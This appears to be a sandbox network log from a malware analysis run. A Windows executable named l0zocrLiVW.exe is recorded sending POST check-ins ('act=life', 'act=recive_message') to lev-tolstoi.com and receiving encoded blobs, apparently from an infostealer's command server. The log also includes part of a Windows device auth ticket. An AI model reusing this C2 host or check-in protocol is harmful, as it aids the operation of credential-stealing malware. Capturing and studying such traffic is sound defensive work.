2024-12-28 09:03:12 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 42 6c 42 6b 4d 53 58 4f 55 32 73 75 63 4b 6b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 62 36 35 39 34 36 35 65 30 37 34 66 33 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PBlBkMSXOU2sucKk.1Context: aab659465e074f30
2024-12-28 09:03:12 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:12 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 42 6c 42 6b 4d 53 58 4f 55 32 73 75 63 4b 6b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 62 36 35 39 34 36 35 65 30 37 34 66 33 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: PBlBkMSXOU2sucKk.2Context: aab659465e074f30<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:12 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 42 6c 42 6b 4d 53 58 4f 55 32 73 75 63 4b 6b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 61 62 36 35 39 34 36 35 65 30 37 34 66 33 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PBlBkMSXOU2sucKk.3Context: aab659465e074f30<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-28 09:03:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 42 46 53 4c 69 62 35 35 42 55 69 4a 31 61 57 74 43 58 4f 51 73 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: BFSLib55BUiJ1aWtCXOQsg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:12 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-28 09:03:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-28 09:03:13 UTC	1123	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n0l75vuk580gs5g24vl1lbmtnc; expires=Wed, 23 Apr 2025 02:49:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nhGlRF9ldl%2FrCx8ORPdrYnTFa8XomJs270492KI2XuqqJOLFv1dJalur2IS4P4YSKesO7VuGlq1D6CZXJ1nZPOKvJV2x%2FBsAsoL8%2FtQtf8ntibzc4xG5LbGIQohkF0e455M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f90603a9f3180d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1567&min_rtt=1564&rtt_var=593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1833019&cwnd=252&unsent_bytes=0&cid=389ef9acef15dda6&ts=771&x=0"
2024-12-28 09:03:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-28 09:03:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49711	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 64 65 6e 33 32 4e 77 36 6b 61 6b 6a 47 64 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 32 33 31 36 63 65 36 30 35 30 34 39 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Nden32Nw6kakjGdm.1Context: c152316ce6050491
2024-12-28 09:03:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-28 09:03:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 64 65 6e 33 32 4e 77 36 6b 61 6b 6a 47 64 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 32 33 31 36 63 65 36 30 35 30 34 39 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 2f 30 49 58 52 39 79 54 67 75 62 4f 6d 62 44 50 58 58 76 32 58 39 56 6a 45 34 71 64 6d 78 4e 59 46 39 31 78 64 71 42 2b 43 57 56 38 73 59 74 6b 2b 6b 5a 58 56 4f 6a 75 4a 2b 32 54 5a 41 36 65 59 68 38 46 55 68 38 32 37 50 61 54 79 43 77 68 47 31 62 2f 2f 53 65 76 70 6a 31 61 34 4b 77 2f 2f 32 59 35 54 6d 46 6e 41 35 54 53 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Nden32Nw6kakjGdm.2Context: c152316ce6050491<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAd/0IXR9yTgubOmbDPXXv2X9VjE4qdmxNYF91xdqB+CWV8sYtk+kZXVOjuJ+2TZA6eYh8FUh827PaTyCwhG1b//Sevpj1a4Kw//2Y5TmFnA5TS
2024-12-28 09:03:13 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 4e 64 65 6e 33 32 4e 77 36 6b 61 6b 6a 47 64 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 35 32 33 31 36 63 65 36 30 35 30 34 39 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: Nden32Nw6kakjGdm.3Context: c152316ce6050491
2024-12-28 09:03:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-28 09:03:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 52 4d 47 61 76 56 44 4b 58 45 4b 2b 73 32 48 36 2b 38 57 44 4e 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: RMGavVDKXEK+s2H6+8WDNA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	172.67.157.254	443	2736	C:\Users\user\Desktop\l0zocrLiVW.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:03:14 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: lev-tolstoi.com
2024-12-28 09:03:14 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-28 09:03:15 UTC	1135	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=skvmkcd1k77lkms7ec2gv66oj7; expires=Wed, 23 Apr 2025 02:49:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oojcimann0HUnfgY%2FKJyN6O6vu%2BsOxbssa%2B7zMcWBdvND7HwEy4h%2Fxv8eYn%2FaovF3QY80iI2L4ukkPgm0Xf7QW%2BcERBdyK5%2B6bQzb%2BWfFBGqDelCgwERS%2BMPWRAqgEDqg5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9060472aca43c3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1763&min_rtt=1759&rtt_var=662&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=952&delivery_rate=1660034&cwnd=211&unsent_bytes=0&cid=18d8c3b5afd68ab7&ts=778&x=0"
2024-12-28 09:03:15 UTC	234	IN	Data Raw: 34 36 38 0d 0a 39 70 30 54 78 50 2f 65 4f 73 66 54 78 56 67 4b 70 78 34 79 4e 44 42 75 32 63 4b 36 32 4c 33 79 59 58 56 58 43 61 44 58 71 74 71 4e 76 32 58 6d 78 65 6f 57 35 61 43 67 65 6a 44 54 62 45 64 52 48 45 79 34 70 70 6a 69 32 35 4d 4e 42 6a 49 6c 67 71 48 48 2b 4d 7a 37 63 71 69 4d 75 78 62 6c 74 72 31 36 4d 50 78 6c 45 46 46 65 54 4f 50 67 33 37 4c 66 6b 77 30 58 4e 6d 4c 50 70 38 61 35 6e 76 46 30 72 4a 71 39 58 71 61 2f 71 44 31 76 77 6e 39 59 57 6c 6b 44 73 61 2b 59 39 4a 2b 58 47 31 64 74 4b 2b 32 79 33 72 75 37 2f 47 43 76 33 61 4d 57 76 50 47 67 4e 69 69 64 50 46 4e 52 55 67 4b 2f 70 74 47 77 31 5a 6f 46 46 6a 4e 6a 30 4c 37 4d 73 70 37 2f 64 36 32 51 74 45 71 72 74 61 38 32 61 Data Ascii: 4689p0TxP/eOsfTxVgKpx4yNDBu2cK62L3yYXVXCaDXqtqNv2XmxeoW5aCgejDTbEdRHEy4ppji25MNBjIlgqHH+Mz7cqiMuxbltr16MPxlEFFeTOPg37Lfkw0XNmLPp8a5nvF0rJq9Xqa/qD1vwn9YWlkDsa+Y9J+XG1dtK+2y3ru7/GCv3aMWvPGgNiidPFNRUgK/ptGw1ZoFFjNj0L7Msp7/d62QtEqrta82a
2024-12-28 09:03:15 UTC	901	IN	Data Raw: 63 68 2f 45 42 67 53 43 36 50 67 67 50 71 4d 6f 67 41 47 4a 48 37 50 70 63 37 34 69 37 46 6f 35 70 71 77 47 50 33 78 72 7a 5a 6d 77 48 39 66 55 56 4d 4d 71 61 2f 59 75 64 65 59 42 78 30 36 5a 4d 32 37 77 72 2b 63 39 6e 61 70 6d 72 52 65 71 72 4c 6e 64 43 6a 43 5a 42 41 4f 45 69 79 72 6f 39 75 75 30 6f 46 44 43 48 74 79 67 72 4c 45 2b 4d 79 2f 64 36 69 63 73 56 69 33 75 61 77 78 62 64 64 33 57 56 74 66 44 4c 61 71 31 37 6e 66 6c 77 6b 64 4f 6d 48 47 75 4d 57 2b 6c 50 38 78 36 4e 32 37 51 4f 58 70 35 78 6c 74 31 58 74 63 51 42 41 32 2b 37 2b 57 6f 35 2b 58 44 31 64 74 4b 38 71 77 79 37 75 66 38 48 4b 75 6c 71 35 59 74 37 65 71 50 33 72 44 65 56 35 63 55 52 36 78 72 74 36 35 31 70 73 4b 45 6a 4a 76 67 76 75 49 76 34 79 2f 4b 65 61 38 73 56 4f 70 75 37 41 36 Data Ascii: ch/EBgSC6PggPqMogAGJH7Ppc74i7Fo5pqwGP3xrzZmwH9fUVMMqa/YudeYBx06ZM27wr+c9napmrReqrLndCjCZBAOEiyro9uu0oFDCHtygrLE+My/d6icsVi3uawxbdd3WVtfDLaq17nflwkdOmHGuMW+lP8x6N27QOXp5xlt1XtcQBA2+7+Wo5+XD1dtK8qwy7uf8HKulq5Yt7eqP3rDeV5cUR6xrt651psKEjJvgvuIv4y/Kea8sVOpu7A6
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 34 34 62 34 0d 0a 5a 56 56 63 41 72 79 32 6d 4b 57 52 69 55 4d 51 4f 53 75 61 39 63 65 33 6d 2f 64 78 70 35 6d 78 58 4b 53 38 71 7a 4e 72 79 58 42 59 57 31 34 49 74 4b 6a 51 75 64 65 43 44 52 6b 7a 62 63 4b 77 69 50 62 55 2b 47 6e 6d 78 66 78 38 71 36 61 7a 4d 53 72 77 66 31 35 59 56 52 72 37 76 35 61 6a 6e 35 63 50 56 32 30 72 7a 4c 6a 44 74 4a 50 32 63 4b 57 64 74 6c 61 71 75 36 38 79 61 4d 68 39 57 31 35 55 41 62 43 76 31 37 33 58 6b 77 38 53 4f 47 69 43 2b 34 69 2f 6a 4c 38 70 35 72 69 79 57 37 53 67 35 51 39 72 79 33 4a 58 51 42 49 54 39 62 6d 59 76 64 50 51 57 31 63 2f 62 4d 57 78 78 62 4b 58 2b 33 57 72 6b 72 56 52 72 4b 4f 74 4e 6d 62 58 63 56 70 54 58 41 43 2b 72 39 69 37 33 70 34 4a 48 48 55 6c 67 72 4c 51 2b 4d 79 2f 58 71 75 4e 72 6c 4b 75 6f Data Ascii: 44b4ZVVcAry2mKWRiUMQOSua9ce3m/dxp5mxXKS8qzNryXBYW14ItKjQudeCDRkzbcKwiPbU+Gnmxfx8q6azMSrwf15YVRr7v5ajn5cPV20rzLjDtJP2cKWdtlaqu68yaMh9W15UAbCv173Xkw8SOGiC+4i/jL8p5riyW7Sg5Q9ry3JXQBIT9bmYvdPQW1c/bMWxxbKX+3WrkrVRrKOtNmbXcVpTXAC+r9i73p4JHHUlgrLQ+My/XquNrlKuo
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 43 5a 42 41 4f 45 69 4f 34 74 74 4c 36 77 4e 34 61 56 7a 4a 6e 67 75 32 49 73 70 6a 37 63 71 71 55 73 46 57 6b 74 61 41 33 62 4d 56 36 56 6c 4e 54 42 37 4f 73 31 37 44 54 6c 41 38 65 4d 32 66 42 74 73 37 34 32 72 39 32 76 74 33 6b 47 49 53 38 72 44 5a 6f 78 6d 31 58 46 68 78 4d 74 61 62 59 2b 6f 65 47 45 77 41 79 64 49 79 73 69 4c 2b 59 76 79 6e 6d 6c 36 35 64 71 37 57 74 50 32 7a 4a 64 6c 42 54 51 41 53 39 70 39 53 79 32 70 38 46 45 6a 68 73 79 62 62 61 71 70 66 37 66 36 72 64 38 68 69 69 71 65 64 69 4b 4f 42 72 55 30 5a 55 44 2f 75 2f 6c 71 4f 66 6c 77 39 58 62 53 76 43 75 38 53 7a 6b 2f 52 36 6f 70 6d 38 56 61 36 2f 71 54 4e 6b 7a 58 42 58 52 46 38 4a 73 36 72 52 76 39 4f 64 41 41 55 32 61 6f 4c 37 69 4c 2b 4d 76 79 6e 6d 75 6f 39 76 68 76 47 34 64 48 Data Ascii: CZBAOEiO4ttL6wN4aVzJngu2Ispj7cqqUsFWktaA3bMV6VlNTB7Os17DTlA8eM2fBts742r92vt3kGIS8rDZoxm1XFhxMtabY+oeGEwAydIysiL+Yvynml65dq7WtP2zJdlBTQAS9p9Sy2p8FEjhsybbaqpf7f6rd8hiiqediKOBrU0ZUD/u/lqOflw9XbSvCu8Szk/R6opm8Va6/qTNkzXBXRF8Js6rRv9OdAAU2aoL7iL+Mvynmuo9vhvG4dH
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 46 67 70 4d 6c 36 50 58 73 5a 2b 50 54 51 35 31 62 4d 37 31 6b 50 69 54 39 33 6d 6f 6e 72 70 54 71 62 32 6d 4d 32 37 41 64 46 64 5a 56 51 57 38 6f 4e 36 6f 32 4a 30 4b 46 7a 35 69 79 4c 48 4a 73 39 53 78 4d 61 47 46 2f 41 44 6c 67 36 41 73 65 4d 59 38 54 78 68 4c 54 4c 79 73 6d 4f 4b 66 6e 52 45 57 4d 48 6e 47 75 73 4f 71 6e 2f 6c 78 6f 34 2b 37 56 4b 2b 2b 70 44 4a 6c 78 6e 52 43 56 6c 38 4d 71 62 4c 65 73 64 48 51 54 56 63 79 63 34 4c 74 69 49 6d 44 39 44 47 35 30 36 55 59 6f 72 33 6e 59 69 6a 47 64 6c 31 59 51 41 69 39 71 39 75 30 31 35 55 4c 45 7a 39 6d 7a 62 37 43 73 5a 7a 2f 66 71 4f 56 74 31 36 72 73 4b 45 32 5a 59 55 79 45 46 46 4b 54 4f 50 67 2f 36 44 53 6c 68 51 47 41 47 7a 43 35 49 69 6e 32 75 59 78 6f 5a 48 38 41 4f 57 38 71 7a 42 6c 77 48 68 Data Ascii: FgpMl6PXsZ+PTQ51bM71kPiT93monrpTqb2mM27AdFdZVQW8oN6o2J0KFz5iyLHJs9SxMaGF/ADlg6AseMY8TxhLTLysmOKfnREWMHnGusOqn/lxo4+7VK++pDJlxnRCVl8MqbLesdHQTVcyc4LtiImD9DG506UYor3nYijGdl1YQAi9q9u015ULEz9mzb7CsZz/fqOVt16rsKE2ZYUyEFFKTOPg/6DSlhQGAGzC5Iin2uYxoZH8AOW8qzBlwHh
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 2f 57 35 6d 4c 33 54 30 46 74 58 4f 32 62 45 74 4d 6d 77 6e 50 39 33 72 4a 6d 2f 55 61 61 32 72 6a 78 6a 78 6e 5a 66 55 56 51 49 75 36 76 66 74 4e 6d 56 43 42 35 31 4a 59 4b 79 30 50 6a 4d 76 31 65 46 6a 36 35 71 71 37 4b 38 65 6e 65 4c 5a 52 42 52 58 6b 7a 6a 34 4e 4f 79 30 49 49 47 48 6a 31 76 79 37 58 4d 73 70 6e 34 63 61 4f 51 75 56 79 72 74 61 41 36 5a 4d 70 37 57 46 6c 57 44 4c 54 67 6c 76 72 59 69 45 4e 50 64 55 76 4a 6f 2b 6d 32 6e 2b 30 78 75 64 4f 6c 47 4b 4b 39 35 32 49 6f 79 33 56 52 58 6c 77 41 73 36 54 4b 75 74 53 5a 44 42 59 36 61 38 47 30 77 72 43 47 2b 58 47 74 6c 62 74 51 6f 62 2b 31 4f 32 65 46 4d 68 42 52 53 6b 7a 6a 34 4f 6d 73 32 4a 63 4d 56 52 78 73 32 62 54 43 75 35 2f 7a 4d 62 6e 54 70 52 69 69 76 65 64 69 4b 4d 68 77 58 56 4a 41 Data Ascii: /W5mL3T0FtXO2bEtMmwnP93rJm/Uaa2rjxjxnZfUVQIu6vftNmVCB51JYKy0PjMv1eFj65qq7K8eneLZRBRXkzj4NOy0IIGHj1vy7XMspn4caOQuVyrtaA6ZMp7WFlWDLTglvrYiENPdUvJo+m2n+0xudOlGKK952Ioy3VRXlwAs6TKutSZDBY6a8G0wrCG+XGtlbtQob+1O2eFMhBRSkzj4Oms2JcMVRxs2bTCu5/zMbnTpRiivediKMhwXVJA
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 54 36 68 39 41 49 47 54 42 71 7a 72 2f 50 74 6f 62 2b 65 36 71 63 75 31 2b 75 6f 36 77 6f 59 38 31 2f 58 6c 35 62 44 4c 57 67 32 62 66 66 30 45 31 58 4d 6e 4f 43 37 59 69 64 74 2b 68 6e 72 4e 2b 66 54 37 4f 37 6f 44 5a 2b 7a 6e 31 54 51 46 38 63 2b 2b 36 59 71 39 69 42 51 30 38 6a 65 39 57 79 31 2f 61 4e 76 33 61 71 33 65 51 59 72 72 36 70 4e 32 50 42 64 56 56 65 55 51 6d 2b 71 74 53 32 33 70 67 4b 48 54 42 75 78 4c 2f 4c 74 70 76 2b 66 61 4b 55 73 6c 48 6c 2f 2b 63 39 63 49 55 6b 45 47 42 43 43 36 4f 74 79 50 6a 74 6b 78 49 47 49 47 62 53 73 34 71 58 6c 2f 4e 79 6f 35 71 73 47 4c 72 2f 76 6e 70 76 79 54 77 49 46 6c 49 49 74 36 50 66 74 4e 43 64 44 42 41 2b 5a 4d 69 37 32 72 65 52 39 33 32 75 6b 4b 35 53 72 36 4f 75 4d 32 58 4c 64 45 4a 56 45 6b 4c 37 70 Data Ascii: T6h9AIGTBqzr/Ptob+e6qcu1+uo6woY81/Xl5bDLWg2bff0E1XMnOC7Yidt+hnrN+fT7O7oDZ+zn1TQF8c++6Yq9iBQ08je9Wy1/aNv3aq3eQYrr6pN2PBdVVeUQm+qtS23pgKHTBuxL/Ltpv+faKUslHl/+c9cIUkEGBCC6OtyPjtkxIGIGbSs4qXl/Nyo5qsGLr/vnpvyTwIFlIIt6PftNCdDBA+ZMi72reR932ukK5Sr6OuM2XLdEJVEkL7p
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 52 41 42 6c 33 57 74 53 34 32 4c 75 52 2b 45 2b 59 6b 37 74 4d 6f 72 2b 68 4f 69 69 4c 50 46 38 57 43 6a 58 37 36 4a 69 46 6b 64 41 62 56 32 30 72 39 37 62 47 74 70 50 70 59 4f 75 2b 71 30 36 76 71 75 55 63 62 39 52 31 52 6c 74 41 54 50 58 67 33 76 71 48 77 45 31 58 4d 58 71 43 37 5a 6a 71 7a 36 6f 69 38 63 33 75 52 2b 75 6f 35 79 77 6f 6e 53 34 65 46 6b 42 4d 34 2b 43 66 75 63 32 43 42 52 51 6a 61 49 57 4c 39 70 69 66 36 58 43 72 6c 72 42 6d 6d 36 53 6b 4e 47 62 43 61 6b 45 57 48 45 79 30 34 49 43 44 6e 39 68 44 4b 48 73 72 32 76 57 51 2b 4b 48 38 66 36 69 61 71 6b 6e 6f 6b 61 77 73 61 63 68 33 58 42 52 54 41 61 75 6e 6d 50 53 66 6c 6b 4e 50 5a 53 57 43 73 64 6e 34 7a 4b 38 6a 2f 63 6a 76 44 2f 58 6a 75 48 52 78 68 57 6f 51 44 67 42 43 2b 37 4b 59 34 70 Data Ascii: RABl3WtS42LuR+E+Yk7tMor+hOiiLPF8WCjX76JiFkdAbV20r97bGtpPpYOu+q06vquUcb9R1RltATPXg3vqHwE1XMXqC7Zjqz6oi8c3uR+uo5ywonS4eFkBM4+Cfuc2CBRQjaIWL9pif6XCrlrBmm6SkNGbCakEWHEy04ICDn9hDKHsr2vWQ+KH8f6iaqknokawsach3XBRTAaunmPSflkNPZSWCsdn4zK8j/cjvD/XjuHRxhWoQDgBC+7KY4p
2024-12-28 09:03:15 UTC	1369	IN	Data Raw: 65 46 37 42 70 4d 75 34 6e 37 38 2f 35 70 76 38 41 50 66 2f 35 7a 35 35 68 53 51 41 42 41 6c 5a 36 50 65 49 36 4d 44 65 47 6c 63 6a 4b 35 72 6e 68 76 69 47 76 79 6e 6d 32 72 39 4b 74 37 65 6b 4c 47 75 43 51 6d 35 77 55 51 75 39 6f 39 61 74 7a 74 49 73 46 44 35 6e 7a 72 4c 65 68 71 72 71 63 71 69 54 75 30 36 30 38 65 6c 36 5a 34 55 6b 61 52 5a 44 42 72 7a 73 6b 50 62 4f 67 77 30 63 49 32 79 43 69 6f 62 34 6a 4c 38 70 35 71 69 2f 56 71 75 32 73 53 73 6c 34 33 39 58 55 46 45 43 72 4c 47 59 39 4a 2b 57 51 30 39 6e 4a 59 4b 78 32 66 6a 4d 72 79 50 39 79 4f 38 50 39 65 4f 34 64 48 47 46 61 68 41 4f 41 55 4c 37 73 70 6a 69 6e 39 63 4e 47 6a 52 6f 7a 4c 62 61 71 70 4c 38 5a 36 58 61 67 6d 61 41 76 4b 6f 2f 5a 73 4a 43 62 6e 64 59 48 4c 61 76 33 34 54 68 70 78 49 Data Ascii: 